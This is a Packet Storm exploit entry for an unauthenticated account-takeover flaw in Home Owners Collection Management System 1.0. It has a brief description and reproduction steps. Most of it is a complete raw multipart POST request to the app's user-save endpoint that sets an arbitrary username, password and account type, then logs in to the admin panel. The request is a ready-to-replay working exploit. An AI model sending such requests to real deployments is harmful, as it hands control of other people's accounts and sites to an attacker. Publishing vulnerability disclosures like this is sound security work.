Home Owners Collection Management System 1.0 Account Takeover

Home Owners Collection Management System version 1.0 suffers from an unauthenticated account takeover flaw due to missing authorization controls.

MD5 | 4bde3cbe4e4d9d36a42b6adc88bebf88

Download

# Exploit Title: Home Owners Collection Management System 1.0 - Account Takeover (Unauthenticated)
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux 


Home Owners Collection Management System is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

#Steps to Reproduce

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.

2. Go to http://localhost/hocms/admin/ and Log in to the user account by changed username and password


==============================================

POST /hocms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------8012296389370411172619882391
Content-Length: 899
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju

-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="id"


-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="firstname"

hi
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="lastname"

test
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="username"

saud
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="password"

saud
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="type"

1
-----------------------------8012296389370411172619882391
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------8012296389370411172619882391--

Source: packetstormsecurity.com